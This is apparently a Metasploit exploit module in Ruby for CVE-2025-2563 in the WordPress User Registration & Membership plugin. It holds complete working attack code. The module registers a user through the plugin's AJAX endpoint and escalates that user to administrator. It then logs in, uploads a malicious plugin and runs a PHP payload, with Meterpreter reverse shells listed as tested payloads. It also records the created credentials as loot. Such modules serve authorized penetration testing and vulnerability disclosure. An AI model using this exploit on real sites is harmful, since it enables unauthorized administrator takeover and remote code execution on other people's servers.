## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Payload::Php include Msf::Auxiliary::Report include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Wordpress prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'WP User Registration and Membership Unauthenticated Privilege Escalation (CVE-2025-2563)', 'Description' => %q{ Exploits CVE-2025-2563 in the WordPress User Registration & Membership plugin. 1) Registers a free-membership user via AJAX. 2) Elevates that user to administrator via the membership AJAX action. 3) Logs in, uploads & executes a PHP payload. }, 'Author' => [ 'wesley (wcraft)', # Vulnerability discovery 'Valentin Lobstein' # Metasploit module ], 'References' => [ ['CVE', '2025-2563'], ['WPVDB', '2c0f62a1-9510-4f90-a297-17634e6c8b75'], ['URL', 'https://pentest-tools.com/vulnerabilities-exploits/user-registration-and-membership-411-unauthenticated-privilege-escalation_26968'] ], 'License' => MSF_LICENSE, 'Privileged' => false, 'Platform' => %w[php unix linux win], 'Arch' => [ARCH_PHP, ARCH_CMD], 'Targets' => [ [ 'PHP In-Memory', { 'Platform' => 'php', 'Arch' => ARCH_PHP # tested with php/meterpreter/reverse_tcp } ], [ 'Unix In-Memory', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ], [ 'Windows In-Memory', { 'Platform' => 'win', 'Arch' => ARCH_CMD } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2025-03-24', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options( [ OptString.new('WP_USER', [true, 'Username for the new administrator', Faker::Internet.username(specifier: 5..8)]), OptString.new('WP_PASS', [true, 'Password for the new administrator', Faker::Internet.password(min_length: 12)]), OptString.new('WP_EMAIL', [true, 'Email for the new administrator', Faker::Internet.email(name: Faker::Internet.username(specifier: 5..8))]) ] ) end def check return CheckCode::Unknown('Target not responding') unless wordpress_and_online? wp_version = wordpress_version print_status("Detected WordPress version: #{wp_version}") if wp_version plugins = { 'user-registration' => '4.1.2', 'user-registration-pro' => '5.1.2' } plugins.each do |slug, fixed_version| readme = check_plugin_version_from_readme(slug, fixed_version) version = readme&.dig(:details, :version) if version detected = Rex::Version.new(version) print_good("Detected #{slug} version #{detected}") return CheckCode::Appears if detected < Rex::Version.new(fixed_version) else print_warning("Unable to determine #{slug} version") end end print_status('No vulnerable plugin versions detected') CheckCode::Safe end def exploit # 0) Gather form details form_details = get_form_details fail_with(Failure::UnexpectedReply, 'Failed to fetch membership form') unless form_details # 1) Register a free‐membership user print_status('Registering new user with free membership...') reg_res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'vars_post' => registration_payload(form_details) ) reg_json = reg_res&.code == 200 ? reg_res&.get_json_document : nil fail_with(Failure::UnexpectedReply, 'User registration failed') unless reg_json&.dig('success') username = reg_json.dig('data', 'username') print_good("User registered: #{username}") # 2) Elevate that user to administrator print_status('Escalating to administrator...') esc_res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'vars_post' => membership_payload(form_details) ) esc_json = esc_res&.code == 200 ? esc_res&.get_json_document : nil fail_with(Failure::UnexpectedReply, 'Privilege escalation failed') unless esc_json&.dig('success') print_good("Administrator created: #{datastore['WP_USER']}:#{datastore['WP_PASS']}") create_credential( workspace_id: myworkspace_id, origin_type: :service, module_fullname: fullname, username: datastore['WP_USER'], private_type: :password, private_data: datastore['WP_PASS'], service_name: 'WordPress', address: datastore['RHOST'], port: datastore['RPORT'], protocol: 'tcp', status: Metasploit::Model::Login::Status::UNTRIED ) vprint_good("Credential for user '#{datastore['WP_USER']}' stored successfully.") loot_data = "Username: #{datastore['WP_USER']}, Password: #{datastore['WP_PASS']}\n" loot_path = store_loot( 'wordpress.admin.created', 'text/plain', datastore['RHOST'], loot_data, 'wp_admin_credentials.txt', 'WordPress Created Admin Credentials' ) vprint_good("Loot saved to: #{loot_path}") report_host(host: datastore['RHOST']) report_service( host: datastore['RHOST'], port: datastore['RPORT'], proto: 'tcp', name: fullname, info: 'WordPress with vulnerable User Registration plugin allowing unauthenticated admin creation' ) report_vuln( host: datastore['RHOST'], port: datastore['RPORT'], proto: 'tcp', name: 'User Registration Plugin Auth Bypass', refs: references, info: 'Unauthenticated admin creation via vulnerable AJAX membership endpoint' ) # 3) Authenticate print_status('Authenticating via wp-login.php...') session_cookie = wordpress_login(datastore['WP_USER'], datastore['WP_PASS']) unless session_cookie print_warning('wp-login.php failed—trying plugin login page') # Fetch the plugin's custom login form page = send_request_cgi!( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login/') ) fail_with(Failure::UnexpectedReply, 'Failed to fetch plugin login page') unless page&.code == 200 doc = page.get_html_document nonce = doc.at_xpath("//input[@name='user-registration-login-nonce']")['value'] # Submit the plugin login form auth_res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login/'), 'vars_post' => { 'username' => datastore['WP_USER'], 'password' => datastore['WP_PASS'], 'user-registration-login-nonce' => nonce, '_wp_http_referer' => '/login/', 'login' => 'Login', 'redirect' => '' } ) # Validate wordpress_logged_in cookie if auth_res && (c = auth_res.get_cookies) =~ /wordpress_logged_in_[^;]+=[^;]+;/ print_good('Authenticated via plugin login page') session_cookie = c else fail_with(Failure::UnexpectedReply, 'Authentication failed via both wp-login.php and plugin login') end end # 4) Upload and execute our payload upload_and_execute_payload(session_cookie) end def get_form_details res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'membership-registration/') ) return nil unless res&.code == 200 doc = res.get_html_document membership_node = doc.at_xpath("//input[@type='radio' and contains(@data-name, 'membership_field')]") localized = doc.at_xpath("//script[contains(., 'ur_membership_frontend_localized_data')]").text { security: doc.at_xpath("//script[contains(., 'user_registration_form_data_save')]") .text[/user_registration_form_data_save"\s*:\s*"([^"]+)"/, 1], frontend_nonce: doc.at_xpath("//input[@id='ur_frontend_form_nonce']")['value'], form_id: doc.at_xpath("//input[@name='ur-user-form-id']")['value'], registration_language: doc.at_xpath("//input[@name='ur-registration-language']")['value'], membership_name: membership_node['data-name'], membership_value: membership_node['value'], membership_nonce: localized[/["_]nonce":\s*"([^"]+)"/, 1] } end def registration_payload(det) form_data = [ { 'field_name' => 'user_login', 'value' => datastore['WP_USER'], 'field_type' => 'text', 'label' => 'Username' }, { 'field_name' => 'user_email', 'value' => datastore['WP_EMAIL'], 'field_type' => 'email', 'label' => 'User Email' }, { 'field_name' => 'user_pass', 'value' => datastore['WP_PASS'], 'field_type' => 'password', 'label' => 'User Password' }, { 'field_name' => 'user_confirm_password', 'value' => datastore['WP_PASS'], 'field_type' => 'password', 'label' => 'Confirm Password' }, { 'field_name' => det[:membership_name], 'value' => det[:membership_value], 'field_type' => 'radio', 'label' => 'membership' } ].to_json { 'action' => 'user_registration_user_form_submit', 'security' => det[:security], 'form_data' => form_data, 'form_id' => det[:form_id], 'registration_language' => det[:registration_language], 'ur_frontend_form_nonce' => det[:frontend_nonce], 'is_membership_active' => det[:membership_value], 'membership_type' => det[:membership_value] } end def membership_payload(det) members = { 'membership' => det[:membership_value], 'total' => '0', 'payment_method' => 'free', 'start_date' => Time.now.strftime('%Y-%m-%d'), 'username' => datastore['WP_USER'], 'role' => 'administrator' }.to_json response = { 'username' => datastore['WP_USER'], 'success_message_positon' => '1', 'form_login_option' => '0', 'redirect_timeout' => 2000, 'registration_type' => 'membership' }.to_json { 'action' => 'user_registration_membership_register_member', 'members_data' => members, 'form_response' => response, '_wpnonce' => det[:membership_nonce] } end def upload_and_execute_payload(cookie) plugin = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}" payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}.php" zip = generate_plugin(plugin, payload_name.sub('.php', '')) print_status('Uploading malicious plugin...') fail_with(Failure::UnexpectedReply, 'Plugin upload failed') unless wordpress_upload_plugin(plugin, zip.pack, cookie) uri = normalize_uri(wordpress_url_plugins, plugin, payload_name) print_status("Executing payload at #{uri}...") register_files_for_cleanup(payload_name, "#{plugin}.php") register_dir_for_cleanup("../#{plugin}") send_request_cgi('uri' => uri, 'method' => 'GET') end end